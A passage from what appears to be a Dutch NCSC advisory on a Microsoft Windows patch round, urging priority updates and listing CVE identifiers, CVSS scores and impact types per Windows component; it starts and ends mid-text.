authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | 